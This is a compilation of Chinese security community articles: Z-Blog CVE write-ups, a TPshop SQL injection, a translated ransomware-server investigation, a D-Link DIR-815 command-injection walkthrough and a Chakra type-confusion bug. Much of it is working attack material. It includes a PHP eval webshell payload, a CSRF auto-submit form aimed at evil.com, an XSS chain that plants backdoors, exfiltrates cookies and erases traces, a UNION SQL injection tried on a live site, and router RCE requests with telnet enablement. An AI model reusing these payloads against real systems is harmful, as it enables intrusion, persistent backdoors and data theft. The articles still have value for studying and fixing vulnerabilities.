正好想找点事做，遂做一波分析。
首先定位到 plugin_edit.php 文件，在 /zb_user/plugin/AppCentre/plugin_edit.php ，看下代码：
注意到红框框里的代码，是一个判断的流程，本意是判断输入的插件的 ID
只能是数字或字母，并且长度只能在3到30个之间，但是这个正则引起了我的注意，他的正则是：
^[A-Za-z0-9_]{3,30}
它这个正则的意思是：以字母或数字开头，匹配3到30个。
然后，然后就没了。所以只要前3个字符是数字或字幕就能通过它正则的检查了，比如我输入：test<?php phpinfo();?>
，虽然后面出现了各种符合和空格，但是前面的 test 符合了它的正则，所以这个正则依然能匹配到，就能通过它正则的检测了，如图：
而正确的正则应该是：
^[A-Za-z0-9_]{3,30}$
注意最后加了一个$符号，意思是匹配以字幕或数字开头，并且以数字或字母结束，长度在3到30个字符之间：
所以这个正则的判断就可以绕过了。 然后怎么 Getshell 呢？ 看上面代码的两个箭头，有两处有写入文件的操作，就在这里。
结合上面的代码代码可以知道它的逻辑是从一个既有的插件的文件模板里把对应的文件复制到新建的插件文件夹里面，文件夹的名字就是插件的ID，再把模板中一些插件的信息替换一下写入到新建插件的目录里。
好了，那看下最主要的需要复制过去的模板文件 main.html (/zb_user/plugin/AppCentre/tpl/main.html):
两处箭头所指的就是要替换的插件信息，替换逻辑在上面的 plugin_edit.php 的58到61行：
$file = file_get_contents('tpl/main.html');
$file = str_replace("<%appid%>", $app->id, $file);
$path = $zbp->usersdir . 'plugin/' . $app->id . '/' . trim($_POST['app_path']);
@file_put_contents($path, $file);
就是单纯的把 <%appid%> 替换为新建插件的 ID 值。那么就开始构造了，构造的目标就是把一句话木马写进去，并且符合 PHP
的语法保证能让这个脚本文件跑起来，而因为上面绕过了正则检测，所以能写入除了字母和数字以外的字符。
但是这里有存在一个问题：仔细观察需要替换的两处位置会发现第一个需要替换的地方在语法上比第二处多了一个右括号，这就意味着无论怎么构造，要符合两处替换位置的语法是不可能的，如果符合第一处的语法，第二处肯定不符合，反之亦然（反正我没想到，不知道大佬们有什么姿势没有？）。
那就换一个思路，既然需要符合两处替换位置的语法不可能，那就让它符合一处的就好了，想到利用 ?> 闭合掉 PHP 的代码解析，让第二处替换位置不再当作 PHP
代码执行而是当作普通的文本，最终构造出的 payload：
AppCentre') || eval($_POST[z]))?>
替换后的代码如下（注意代码高亮的变化）：
此时第二处替换的位置就已经不被解析为 PHP 的代码而是普通的文本了，此时已经把一句话木马写入到 main.php
文件中了，Getshell达成，测试一下：
证明成功 Getshell 了，注意下上面圈起来的部分，因为写入的 payload 有问号，而问号在 URL 中是当作 GET
参数的开始符号，所以这里需要进行编码，否则会找不到路径。
结合这个操作有 CSRF 漏洞，就可以构造如下 payload 来通过 CSRF 来 Getshell：
<html>
<head>
</head>
<body>
<form action="http://www.evil.com/zblog/zb_users/plugin/AppCentre/plugin_edit.php" method="POST" id="CSRF">
<input type="hidden" name="app_id" value="AppCentre') || eval($_POST[z]))?>
">
<input type="hidden" name="app_path" value="main.php">
<input type="hidden" name="app_include" value="include.php">
</form>
</body>
<script type="text/javascript">
document.getElementById('CSRF').submit();
</script>
</html>
But... 当我再次测试的时候发现了一个问题：
这次发送的数据包和上次相比少了 cookie，发现报错了，报的错误是没有管理员权限，这个时候我们回头去看看 main.html 这个新建插件的模板文件：
看到第二行进行了是否为管理员权限的检查。 这么说的话这个 CVE 就非常鸡肋了，虽然能通过 CSRF 来 Getshell，但是生成的 Webshell
需要管理员才能访问，那意义就不大了。
但是... 我一不小心在插件管理的位置挖到一枚 XSS 了（手动斜笑脸），然后我不要脸的去申请了一个 CVE，请看下面的：CVE-2018-9169
**CVE-2018-9169：**
这枚 XSS 没什么技术含量，也是在测试上一个 CVE 的时候无意中发现的。
测试的时候，插入了 payload 之后在插件管理的位置发现了如下情况：
一看，有戏。 看下输出位置的 HTML 代码：
把我插入的 payload 输出到页面上了，但是注意一下我插入的 payload：
AppCentre') || eval($_POST[z]))?>
这里我插的是单引号，但是浏览器输出的闭合的引号是双引号。那看看输出的代码吧，在/zb_user/plugin/AppCentre/plugin.js
的38行：
$(this).parent().children().eq(4).append(" <a class=\"button\" href='"+bloghost+"zb_users/plugin/AppCentre/app_del.php?type=plugin&id="+t+"' title='删除该插件' onclick='return window.confirm(\"单击“确定”继续。单击“取消”停止。\");'><img height='16' width='16' src='"+bloghost+"zb_users/plugin/AppCentre/images/delete.png'/></a>");
注意到这里的输出也是使用单引号的，但是输出到页面上的时候就变成双引号了。 这其实涉及到浏览器的容错性问题，浏览器对 HTML
的语法其实不是那么的严格，为了给某些抠脚的前端程序猿做容错，会自动把一些能识别的错误纠正（比如补全、闭合之类的），或者把一些不太标准的 HTML
代码改为比较标准的形式，而这种容错在不同的浏览器内核中还不一样，这也是为什么能看到一些奇葩的 XSS payload 在某些特定的浏览器中能触发的原因。
好了，科普结束，上面也是这个原因，浏览器把单引号改为了双引号导致的。
既然有 XSS 了，那么，弹个窗？在新建插件的插件 ID 处输入：aaaa‘><svg onload=alert(1)>，保存后在插件管理处触发：
是的，这也是一枚非常鸡肋的 Self-XSS。
**Exploit 的编写：**
好了，整理下现在手上有的小洞洞： 一个CSRF，一个Getshell（生成的 shell 需要管理员权限才能访问），一个XSS。
那么怎么组合让鸡肋的小洞洞发挥大大的威力呢？！然后想到如下思路：
当管理员点击我们的恶意链接之后，先使用 CSRF 插入一个 XSS 的 payload（CVE-2018-9169），再当管理员点击插件管理功能的时候，触发
XSS，而 XSS 里 payload 的操作如下：先使用 CVE-2018-8893 拿到一个只有管理员才能访问的 shell，再通过这个 shell
生成一个不需要权限就能访问的 shell，而因为这些需要管理员的交互，所以我需要知道管理员什么时候触发了我们的 exp，就写一个回调，加载 XSS 平台的
payload，最后，因为利用 CVE-2018-9169 和 CVE-2018-8893 会在插件管理的位置产生利用痕迹，所以还需要清除痕迹。
那先放 CVE-2018-9169 的利用 exp：
注意下圈圈的位置，上面的分析里说了，会把新建的插件 ID 当作路径，所以如果使用斜杠/ 的话会跟 Linux
路径的分隔符产生冲突，导致插入不成功，但是使用反斜杠\ 的话，处理的时候系统会自动帮我们转成斜杠/ ，这也算是一种容错机制把。 然后利用的时候把
script 标签里的脚本换成自己的上传的脚本的路径，而这个脚本就是后续利用过程的 exp，下面放出。
exp.js：
18行之前都是一些配置，还有生成 AJAX 请求对象，19和20行是构造 payload 的过程，22到25行是利用 CVE-2018-8893
的过程，27到30行是使用 CVE-2018-8893 生成的 payload 再生成一个不需要权限就能访问的一句话木马的过程（因为在后台触发 XSS
的时候是同源了，所以能使用 AJAX，再因为此时是管理员权限，所以能访问到CVE-2018-8893生成的
shell，而为什么要生成在那个目录呢？因为这个是插件管理的目录，如果能生成插件，证明这个目录肯定是有写入权限的，而其他目录就未必有写入权限了，所以把后门写在这个目录会稳妥一点），32到37行是加载回调脚本的过程（如果有的话），39到47行是清除痕迹的操作，49行是刷新页面（清除痕迹之后不能让看到）。
执行效果：
管理员点击恶意链接再点击插件管理就生成了后门，在生成了一句话后门之后，XSS平台也可以收到打过来的 cookie 等的信息（因为我 XSS
平台的密码忘了，之前测试的图也截不了了，有兴趣的自己测试一下）。
再稍微说一下，写文章的时候我又想到一些小 trick 和不足。 在 CSRF
的时候其实就可以一次性把所有的操作都做了，像我上面的流程需要交互其实最主要是因为触发 CSRF
之后页面会跳转，跳转后的页面就不受我们控制了，但最近想到可以利用 iframe 标签来触发 CSRF，这样就可以触发 XSS 后依然不跳转，算是一个小
trick。 还有就是插入 payload 的时候会在插件管理的地方有很明显的痕迹，其实可以该下
payload，让痕迹不明显，把单引号改成双引号就可以了，就不展开了，有兴趣的自己去测试一下。
CVE-2018-8893 官方已经在3月29日修复了并且发布补丁了（其实就修了CSRF），所以触发链已经断了，如果要测试可以点击：链接:
<https://pan.baidu.com/s/16scHzjhjjb_aqqrUWytHYg> 密码: kj8b
，这个是没修复之前的版本。（上传附件老是不成功，不知道是不是 bug，就贴链接吧）
**CVE-2018-9153**
这枚 CVE 也是顺便的厚着脸皮去申请的。没什么技术含量，顺便提一下吧。
在插件管理的位置注意到有插件上传：
代码的位置在 /zb_system/function/lib/app.php：
注意到22行执行了 UnPack 函数，跟过去：
注意到503行有一个 simplexml_load_string($xml); 这里其实存在 XXE，我也复现成功了，但是懒得去申请了，SRC
又不收，就算了。
然后根据529到536行的逻辑构造 payload：
上传后，成功得到后门：
噢！顺便一提，这个接口也有 CSRF，这个 Exploit 就不放了，没什么意思 | 社区文章 |
### 0x01 前言
>
> TPshop是国内应用范围大、覆盖面广的电商软件产品，基于此，历经5年的时间，而发展成为国内先进的具备成熟且标准化的电商平台技术解决方案提供商。“TPshop”
> 的每一次新产品发布都引带头中国电商软件研发领域的潮流，持续为中国电子商务服务行业。同时公司建立了由多名科学家构成的行业及技术研究中心，对电商行业发展趋势、软件产品架构、技术性、新技术应用与创新等都做出了卓越贡献。
代码来源：
http://www.tp-shop.cn/download/
### 0x02 分析
跟踪到`/application/home/controller/Api.php`控制器中的`shop`方法：
**流程分析：**
379~384 Line: 获取外部输入并赋值给变量
385~387 Line: $province_id、$province_id、$district_id判断以上三个遍历是否为空，若成立返回空的json
388 Line: 将$province_id、$city_id、$district_id放入$where数组中以供SQL查询
389 Line: 定义变量$field并赋值为*
390 Line: 定义变量$order并赋值为shop_id desc
391 Line: 判断变量$longitude是否为真
392 Line: 将$longitude、$latitude拼接到SQL语句中并赋值到$field中
393 Line: 将$order赋值为distance ASC
395 Line: 判断$shop_address是否为真
396 Line: 将$shop_address放入$where数组中以供SQL查询
399 Line: 带入SQL查询
**代码调试：**
通过代码分析后发现`$field`传入方法`field`中，并不会将这个变量中的值预编译，而是直接带入中执行，接着来调试！在399行后添加代码如下：
print Db::name('region')->getlastsql();
`getlastsql`方法在tp框架中是返回SQL语句也可以说是监听，接着往下走，访问
http://localhost:8083/index.php/home/api/shop
POST包：
province_id=1&city_id=2&district_id=1&shop_address=aaaa&latitude=1&longitude=1
为`longitude`参数赋值为`1’`
可以看到程序已经抛出了异常，MySQL执行错误，最终Payload如下：
province_id=1&city_id=2&district_id=1&shop_address=aaaa&latitude=1&longitude=1- latitude)* 111),2))),2) AS distance FROM `tp_shop` WHERE `deleted` = :where_deleted AND `shop_status` = :where_shop_status AND `province_id` = :where_province_id AND `city_id` = :where_city_id AND `district_id` = :where_district_id AND ( `shop_name` LIKE :where_shop_name OR `shop_address` LIKE :where_shop_address ) UNION(SELECT(user()),(version()),(3),(4),(5),(6),(7),(8),(9),(10),(11),(12),(13),(14),(15),(16),(17),(18),(19),(20),(21),(22),(23),(24),(25),(26),(27),(28),(29))%23
(实战中需根据字段数调整一下Payload)
**漏洞复现：**
示例站：http://www.e******.com/index.php/home/api/shop
字段数：28
查权限：
查库名：
查字段：
查用户：
（复现来源于互联网，如有打码不严还请手下留情。）
### 0x03 总结
贵州白马会头牌提醒您，代码千万行，安全第一条，开发(PDO)不规范，系统被插惨。 | 社区文章 |
在这个案例里面，我们通过分析垃圾邮件，进而劫持其赎金服务器，并且告知每个人关于发现的这一威胁。然后我会尝试寻找攻击者身份，并且将有关信息告诉执法部门。不过这一部分就不在文章中公开了。
我先说一下事情的起源吧：前几天，我的同事MarcoT给了我一个有趣的电子邮件附件，名为71878378709_708463.zip
(sha256:fdd1da3bdd8f37dcc04353913b5b580dadda9 4ba).
对这一附件解压缩之后发现里面有一个vbs脚本文件，这就比较有趣了，通过双击vbs脚本文件，受害者将会通过微软wscript.exe来运行它，这样就会启动感染进程。邮件是通过一个复杂的垃圾邮件集群进行发布的，这一集群经常在美国活动，前几天目标对准了欧洲。
vb脚本是是经过混淆处理的，不过混淆程度是非常弱的，你可以在下图中看到脚本的内容。实际上，代码只进行了一次包装，而且明文字符串都是可以看到的。
这一后门引入了一个比较有意思的技术，首先，为了让逆向的过程变得困难，它在代码中加了很多无害的内容。非常有趣的是这样一串代码很显然是从后门代码的一部分，但是它并没有和要分析的代码相关联。另外一处很有意思的是"user-agent"的值是对是否下载真实恶意payload的关键因素。后门本身没有什么好分析的，它会通过wscript.exe执行'MZ'文件从受感染的网站中被下载到本地。这一后门文件会直接在http返回包显示，并且保存到用户临时文件夹中，以saToHxy.exe命名。然后对vb对象以及函数进行重命名，使溯源变得困难起来。
获取到后门网址如下:
castillodepalazuelos.es/rf734rgf?
2010.sggt-wh.de/rf734rgf?
ctt.gr/rf734rgf?
之前有提到的Shell.run会执行后门攻击载荷。攻击载荷(sha356:6a51d0cd9ea189babad031864217ddd3a7ddba84)看起来是很容易分析，既没有进行很难的加密，也没有分成多个文件执行，在启动的调试头可以清楚直观的看到用户功能。
启动IDA，通过异或操作会显示小部分攻击载荷内容，并且它采用了一些反调试的技巧，比如时间控制，以及性能监控.如下图所示：
在分析之后，它的设计逻辑变得清楚了，采用了使用了安全处理器异常链技术。攻击者通过触发异常调用修改过的异常处理函数，然后会对攻击载荷进行解码，并且将其分配到新的内存中，最后执行"call
eax"部分，下图展示了解码过程中的循环:
如下是通过0x03001220处的函数进行解码的一些内存:
通过动态分析可以看到勒索软件的攻击载荷。实际上，通过解码后的内存，我们可以看到勒索页面，如下图，我将他提取了出来，而不是通过16进制进行展示，文件hash:(sha256:
cdb3fef976270ab235db623d6a4a97ea93c41dd1)
特别有趣的是，攻击者在勒索页面中将TOR浏览器写成了TOP浏览器，所以我就将这个勒索软件叫做TOP勒索木马。2333,TOP勒索软件会对机器上的文件进行加密，并且修改文件的拓展名，通常是三个字符(为什么是通常，因为在攻击者的数据库中发现大部分都是3个字符)。修改后的拓展名作为勒索页面的一个隐藏的参数，下方图片就展示了攻击者用于将信息发送到服务端的隐藏参数:
隐藏的输入类型名称为"FB",就像稍带两个信息到命令行以及控制器中。比如将拓展名名以及一些十六进制包含在精心设置的标签中。通过点击"Yes I want
to buy"这一按钮的用户会发送之前的数据，并且提示到下方地址支付0.18BTC,以便对文件进行解密：
通过更改FB类中第一个隐藏变量，你会观察到不同的比特币钱包地址，并且勒索金额不等。如下是不同的勒索页面:
这就使得这一系统具有一定的漏洞。事实上，我可以对比特币钱包进行枚举，如果不存在，就新建一个新的比特币钱包，填补攻击者为剩余钱包保留的空间。这样可能会阻止攻击者进行新感染。所以，我写了一个比较邪恶的python脚本去强制创建新的钱包，和金钱映射：
接下来通过FB参数进行进一步分析，我发现这一参数很容易受到sql注入攻击，简直了！！
注入点是被叫做`<pre>`的一个标签，如下图:
所以我们试试攻击这一网站，像上图中，你会发现一个Mysql爆出来的不是拉丁字符的错误，google翻译提示这是俄语，现在我们可以推断出攻击者有非常大的可能性是俄罗斯人。只有用TOR浏览器才可以访问到数据库，并且速度还非常非常慢，不过我发现了一些自动化的进程，请查看增量ids，试图想象一下这个网络到底有多大。
另外一个有趣的话题就是攻击者是谁呢？换句话说，使用这一勒索平台的用户就是攻击者，因为这看起来像一台勒索服务器，所以我下一个目标就是看看攻击者已经获得了多少钱。下图我展示了我发现的用户名以及密码，和用于收钱的钱包。
我将注意力集中到了[email protected]这一用户上面，他与私人钱包：1P3t56jg5RQSkFDWkDK3xBj9JPtXhSwc3N有关。
钱包类型有两种:
一种是公共钱包，这种钱包会将受害者的钱存起来，每个人都可以访问到这一钱包，这些钱包用于受害者支付他们的赎金。
另外一种是私人钱包，攻击者会将公共钱包得到的赎金转移到这类钱包里面，这个过程中，交易平台会收取一定的费用。
拥有私人钱包就意味着可能会找到交易记录，有了交易记录就可以确定攻击者在几个月内从事了多少违法活动。通过调查[email protected]的私人钱包，我们找到了很多有趣的东西:
在交易记录中可以看到在2017-4-23和2017-4-20号从此钱包中转出了81.87个比特币。再加上我们目前了解到的勒索数量13个比特币，加起来已经接近了100比特币。在4月份你还记得爆发了什么勒索攻击了吗？这一攻击者看起来是一个惯犯，从事这种勒索活动肯定不只一次。通过对电子邮件的调查，发现这一邮箱和<https://vlmi.su/这一出售攻击工具，信息的俄罗斯市场有密切的联系。>
通过sql注入，我提取除了"inst"表的内容，字段名称如下：
`ID, IP, FB, OS, TIMED, TIMEIN. COUNTRY, BRWSER`
表中记录的是受害者的信息，让我们看看能不能帮助他们！
从目前来看，就这一个简单的数据库中包含的受害者信息是2000多个，受害者分布来自世界各地。到目前未知，提取出的受害者国家分布如下:
我不会透露受害者的ip地址，不过另外一个有趣的事情是用户使用浏览器的种类比例，奇怪的是chrome竟然占绝大部分。不过恶意软件是通过双击打开vbs脚本，然后利用wscript.exe进行感染的，这和浏览器关系并不大，难道是巧合？
在这篇文章中，我一直在描述从电子邮件附件中获取恶意软件，将整个攻击者的数据库放在我称为TOPransom的服务平台上。我试图枚举攻击者的收入，并通过写一个快速和持久的python脚本填充每个用户的钱包，阻止新的勒索钱包创建，进而阻止勒索软件的蔓延。
本文翻译自：<http://securityaffairs.co/wordpress/61575/cyber-crime/topransom-malware.html>，如若转载，请注明来源于嘶吼： [
http://www.4hou.com/info/news/6970.html](http://www.4hou.com/info/news/6970.html) | 社区文章 |
# 以D-Link为例教你如何挖掘漏洞
##### 译文声明
本文是翻译文章，文章原作者 cr0n1c，文章来源：cr0n1c.wordpress.com
原文地址：<https://cr0n1c.wordpress.com/2018/01/08/exploiting-cheap-labor/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
聪明的人喜欢说：“一分价钱一分货”，这道理对编程来说同样适用。就我个人而言，我更喜欢能以较少代价获取廉价产品的那些商店。话虽如此，圣诞节期间我倍感无聊，决定扔掉许多老旧硬件。在扔掉这些硬件之前，我灵机一动，想给其中一些硬件来次模糊测试（fuzz）。本文介绍了我在24小时内（关键工作仅花了4小时时间）对D-Link 815N设备的研究结果。
授人予鱼不如授人予渔，本文的目的并不是向大家介绍一个可以用来干翻全世界的0Day漏洞，而是介绍寻找这些漏洞的一种方法。
**声明：** 我花了几分钟时间翻了翻D-Link官网，并没有在官网找到提交漏洞的地方。
## 二、扫描目标设备
这个步骤中最难的一关其实是找到这款路由器的电源线。启动路由器、接入开发环境后，第一要务就是找到正确的登录密码。这方面Dlink非常慷慨，使用的用户名为`admin`，没有密码。
接下来，我启用了路由器的“Remote
Management（远程管理）”功能，这样就能模拟通过互联网访问该路由器的应用场景。然后我使用了`netcat`工具，简单探测访问远程管理接口时能得到哪些指纹信息（banner），返回结果如下所示：
nc 10.0.0.1 8080
HEAD / HTTP/1.1
HTTP/1.1 400 Bad Request
Server: Linux, HTTP/1.1, DIR-815 Ver 1.03
Date: Sat, 27 Jan 2001 02:48:12 GMT
在[Shodan.io](https://www.shodan.io/search?query=Server%3A+Linux%2C+HTTP%2F1.1%2C+DIR-815)上查询关键字后，我发现大约有700个设备会返回同样的信息。
## 三、理解工作原理
进展到这一步后，我想要了解这款路由器如何实现身份认证、如何加载页面。为了完成这一任务，我在Chrome浏览器中启用了开发者工具（Firefox同样支持该功能），开始观察“network”标签页的输出结果。成功登录时，我发现浏览器会向`/session.cgi`路径发送一个POST请求，返回结果为简单的XML数据（其中不包含与会话（session）有关的信息）。
nc 10.0.0.1 8080
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Host: localhost
Cookie: uid=DumMyTokEN
Content-Length: 68
ACTION=login_plaintext&PASSWD=&CAPTCHA=&USER=admin&REPORT_METHOD=xml
HTTP/1.1 200 OK
Server: Linux, HTTP/1.1, DIR-815 Ver 1.03
Date: Sat, 27 Jan 2001 04:59:08 GMT
Transfer-Encoding: chunked
Content-Type: text/xml
a1
<?xml version=”1.0″ encoding=”utf-8″?>
<report>
<RESULT>SUCCESS</RESULT>
<REASON></REASON>
<AUTHORIZED_GROUP>0</AUTHORIZED_GROUP>
<PELOTA></PELOTA>
</report>
0
知道这一点后，我不禁有点小激动，因为这表明设备开发者可能只通过cookie来实现认证，而cookie正是我可以操控的变量。如果这些开发者的确这么懒惰，也许我可以不经过身份认证就能访问某些页面。
浏览几分钟后，我注意到一个PHP页面，许多页面中会引用这个页面。我开始使用Chrome以及开发者工具抓取相关的POST请求，然后在netcat中重放这些请求（未附加cookie）。
我找到了一处非常有趣的信息：`DEVICE.ACCOUNT`，这也是我的最爱（稍后扫描程序可以使用这个信息来检查默认凭据）。
POST /getcfg.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Host: localhost
Content-Length: 23
SERVICES=DEVICE.ACCOUNT
HTTP/1.1 200 OK
Server: Linux, HTTP/1.1, DIR-815 Ver 1.03
Date: Sat, 27 Jan 2001 05:07:42 GMT
Transfer-Encoding: chunked
Content-Type: text/xml
208
<?xml version=”1.0″ encoding=”utf-8″?>
<postxml>
<module>
<service>DEVICE.ACCOUNT</service>
<device>
<account>
<seqno></seqno>
<max>1</max>
<count>1</count>
<entry>
<name>admin</name>
<password></password>
<group>0</group>
<description></description>
</entry>
</account>
<session>
<captcha>0</captcha>
<dummy>dummy</dummy>
<timeout>600</timeout>
<maxsession>128</maxsession>
<maxauthorized>16</maxauthorized>
</session>
</device>
</module>
</postxml>
0
如果用户设置了密码，那么上述结果中`<password>`会变成`==OoXxGgYy==`。在这里我总共花了10分钟，终于找到了不需要通过身份认证来扫描目标设备的一种方法，可以得到路由器所有接口的信息、连接到路由器的设备以及这些设备所对应的流量、DNS信息、日志信息等等。大家可以在我的[Github](https://github.com/Cr0n1c/router_pwner/blob/master/scanners/dlink.py)上找到完整列表。
## 四、拿到shell
此时我已经投入了几个小时的时间，发现这款路由器就像一个“超级商店”那样可以给我们提供许多有用的信息。然而，当我把这些成果展示给某位朋友时，他对此非常不屑，我还记得他说过的那句话：“如果真的那么简单，那么拿一个shell给我看看！”
这句话把我推向了下一个环节，那就是确认路由器开发者是不是没有对输入进行验证。于是我再次浏览一些页面，搜寻带有执行功能的目标网址，机缘巧合下，我找到了使用`/service.cgi`的一个防火墙配置页面。观察POST请求后，我决定在正常提交数据后面追加一个`&`符号以及`ls`命令，然后再次提交请求（当然还要传入用于身份认证的cookie值），结果如下：
root@kali:~# nc 10.0.0.1 8080
POST /service.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Host: localhost
Content-Length: 21
Cookie: uid=DuMMyTokEN
EVENT=CHECKFW%26ls%26
HTTP/1.1 200 OK
Server: Linux, HTTP/1.1, DIR-815 Ver 1.03
Date: Sat, 27 Jan 2001 09:25:03 GMT
Transfer-Encoding: chunked
Content-Type: text/xml
64
<?xml version=”1.0″ encoding=”utf-8″?>
<report>
<result>OK</result>
<message></message>
</report>
4
cbwpsacts.php
wiz_wps.php
wiz_wlan.php
wiz_wan_fresetv6.php
wiz_wan.php
wifi_stat.php
… <You get the point>
0
大功告成。
## 五、综合利用
可以说，此时我们已经找到了一个RCE（远程代码执行）漏洞，但我们还需要通过身份认证，这一点无需担心，我们可以使用某种方法未授权访问这款路由器，具体方法留给读者来挖掘。
最后，我想把前面几个步骤融入一个快速利用脚本中，这样我们无需敲入许多命令就可以与路由器远程交互，为此我写了一个[DLINK 815 Shell
RCE](https://github.com/Cr0n1c/dlink_815_shell_poc/blob/master/dlink_auth_rce)程序。如果你对轻量级物联网（IoT）设备有所了解的话，你会注意到这些设备都会运行busybox，我们可以在上面运行熟悉的一些命令，这一点非常好。
那么，接下来我们可以做些啥？其实很简单，我们可以启用telnet功能，获得较为稳定的shell：
/bin/cat /etc/init0.d/S80telnetd.sh
#!/bin/sh
echo [$0]: $1 … > /dev/console
if [ “$1” = “start” ];
then if [ -f “/usr/sbin/login” ];
then image_sign=`cat /etc/config/image_sign`
telnetd -l /usr/sbin/login -u Alphanetworks:$image_sign -i br0 &
else
telnetd &
fielse
killall telnetd
fi
**注意：**
厂商非常亲民，已经将telnet密码硬编码在`/etc/config/image_sign`中。我对这些嵌入式设备的工作过程有点了解，因此我确信所有的D-Link 815N设备都会采用同样的密码。
## 六、临时驻留
我知道在这些设备上的实现驻留并没有太大意义，但我找不到更合适的名词来阐述这个概念。这些设备不经常重启，并且当它们启动时，在正常运行前会重新释放设备固件。这意味着当设备重启时，我们放在设备上的所有痕迹也会随风而逝，但毕竟设备不经常重启，我们可以不用在意这个细节。
我并不会公布具体代码，但如果你对Linux以及`echo`命令比较熟悉，那么你应该能找到一种方法，使用python之类的工具读取某个二进制文件（如`netcat`），将结果以某种形式输出，然后将这些数据通过`echo
-e`方式存放到设备上的某个位置（比如`/var/tmp`），这个过程中你需要了解目标设备的具体架构，可以参考[此处](https://github.com/darkerego/mips-binaries)了解更多信息。
**2018年1月8日更新：** 来自Google的[消息](https://vuldb.com/?id.7843)表明，如果我们访问D-Link
645的`/getcfg.php`页面，那么我们就能拿到明文形式的密码。
将这个信息与`/service.cgi`结合起来，你就可以掌握一切！ | 社区文章 |
原文链接：[360安全卫士技术博客](http://blogs.360.cn/360safe/2016/11/29/three-roads-lead-to-rome/)
文/holynop
### 前言
在过去的两年里一直关注于浏览器方面的研究，主要以Fuzz为主，fuzzing在用户态的漏洞挖掘中，无论是漏洞质量还是CVE产出一直效果不错。直到一些大玩家的介入，以及大量的fuzzer在互联网公开，寻找bug需要更苛刻的思路。后来Edge中使用的MemGC使fuzz方式找漏洞更加困难，fuzz出仅有的几个能用的漏洞还总被其他人撞掉，因为大家的fuzzer是越长越像。于是今年上半年pwn2own之后开始更多的源码审计并有了些效果，起初认为存量足够了，但大概在7月份左右开始，手头的bug以每月2+的速度被撞掉(MS、ChakraCodeTeam、ZDI、Natalie、360…)，本文描述的bug也是其中一个。因为这个漏洞的利用方式还是比较有趣的，经历了几次改变，值得说一下。
### The Bug
var intarr = new Array(1, 2, 3, 4, 5, 6, 7)
var arr = new Array(alert)
arr.length = 24
arr.__proto__ = new Proxy({}, {getPrototypeOf:function() {return intarr}})
arr.__proto__.reverse = Array.prototype.reverse
arr.reverse()
### Root Cause
出问题的代码如下:
有很多地方都引用了这样的逻辑，JavascriptArray::EntryReverse只是其中的一个触发路径。开发人员默认了Array的类型，认为传入ForEachOwnMissingArrayIndexOfObject
的prototype一定是Var Array，如下图:
当然，通常一个Array赋值为proto时，会被默认转化成Var Array，例如:
var x = {}
x.__proto__ = [1,2,3]
查看x的属性:
0:009> dqs 0000022f`c251e920 l1
0000022f`c251e920 00007ffd`5b743740 chakra!Js::JavascriptArray::`vftable’
0:009> dq poi(0000022f`c251e920+28)
0000022f`c23b40a0 00000003`00000000 00000000`00000011
0000022f`c23b40b0 00000000`00000000 00010000`11111111
0000022f`c23b40c0 00010000`22222222 00010000`33333333
0000022f`c23b40d0 80000002`80000002 80000002`80000002
但ES6中Proxy的出现使代码逻辑变得更复杂，很多假设也不见得正确了，
Proxy的原型如下
它可以监控很多类型的事件，换句话说，可以打断一些操作过程，并处理我们自己的逻辑，返回我们自定义的数据。
其中有这样的一个handler:
可以在prototype = prototype->GetPrototype();进入trap流程，进入我们自定义的JavaScript user
callback中。
如果返回一个JavascriptNativeIntArray类型的Array，则会导致默认的假设不成立，从而出现各种问题。
其实不仅是JavascriptNativeIntArray类型，只要不是JavascriptArray类型的数组，
都会因为与期望不同而或多或少出现问题，比如
JavascriptNativeFloatArray
JavascriptCopyOnAccessNativeIntArray
ES5Array…
下面看看使用这种”混淆”的能力，我们能做些什么
首先重新总结下这个bug:
1. 我们有两个数组，Array_A和Array_B
2. 在Array_B中用Var的方式(e.GetItem())取出一个item，放入Array_A中
3. 两个Array的类型可以随意指定
可以进一步转化成如下问题:
1.伪造对象:
Array_A为JavascriptArray类型
Array_B为 JavascriptNativeIntArray/JavascriptNativeFloatArray 等可以控制item数据
类型的数组，则
value = e.GetItem()
this->SetItem(index, value, PropertyOperation_None);
操作后，在Array_A[x]中可以伪造出指向任意地址的一个Object。
2.越界读
Array_A为JavascriptArray类型
Array_B为JavascriptNativeIntArray类型
因为JavascriptNativeIntArray中元素的大小为4字节，所以通过Var的方式读取会超过Array_B的边界
为什么不在Array_A上做文章?
因为最终的赋值操作是通过SetItem完成的，即使Array_A初始化成
JavascriptNativeIntArray/JavascriptNativeFloatArray
等类型，最终还是会根据item的类型转换为JavascriptArray类型。
### 下面进入漏洞利用的部分，一个漏洞的三种利用
#### 0x1
最初对”越界读”这个能力没有什么进一步的利用思路，而当时手头又有很多信息泄露的漏洞，于是exploit = leak + fakeObj
下面这个infoleak可以泄露任何对象的地址，当然已经被补掉了
function test() {
var x = []
var y = {}
var leakarr = new Array(1, 2, 3)
y.__defineGetter__(“1”, function(){x[2] = leakarr; return 0xdeadbeef})
x[0] = 1.1
x[2] = 2.2
x.__proto__ = y
function leak() {
alert(arguments[2])
}
leak.apply(1, x)
}
要在一个固定地址处伪造对象，我们需要两个条件:
1. 一个数据可控buffer的地址
2. 虚表地址，也即chakra模块基址
对于1可以选择head和segment连在一起的Array
0000022f`c23b40a0 00007ffd`5b7433f0 0000022f`c2519c80
0000022f`c23b40b0 00000000`00000000 00000000`00000005
0000022f`c23b40c0 00000000`00000012 0000022f`c23b40e0
0000022f`c23b40d0 0000022f`c23b40e0 0000022f`c233c280
0000022f`c23b40e0 00000012`00000000 00000000`00000012
0000022f`c23b40f0 00000000`00000000 77777777`77777777
0000022f`c23b4100 77777777`77777777 77777777`77777777
0000022f`c23b4110 77777777`77777777 77777777`77777777
0000022f`c23b4120 77777777`77777777 77777777`77777777
0000022f`c23b4130 77777777`77777777 77777777`77777777
buffer地址为leak_arr_addr+0x58，但这个方案有个限制，初始元素个数不能超过SparseArraySegmentBase::HEAD_CHUNK_SIZE
相关代码如下:
className* JavascriptArray::New(uint32 length, …)
if(length > SparseArraySegmentBase::HEAD_CHUNK_SIZE)
{
return RecyclerNew(recycler, className, length, arrayType);
}
…
array = RecyclerNewPlusZ(recycler, allocationPlusSize, className, length, arrayType);
SparseArraySegment<unitType> *head =
InitArrayAndHeadSegment<className, inlineSlots>(array, 0, alignedInlineElementSlots, true);
所以在伪造对象时需要精准利用有限的空间
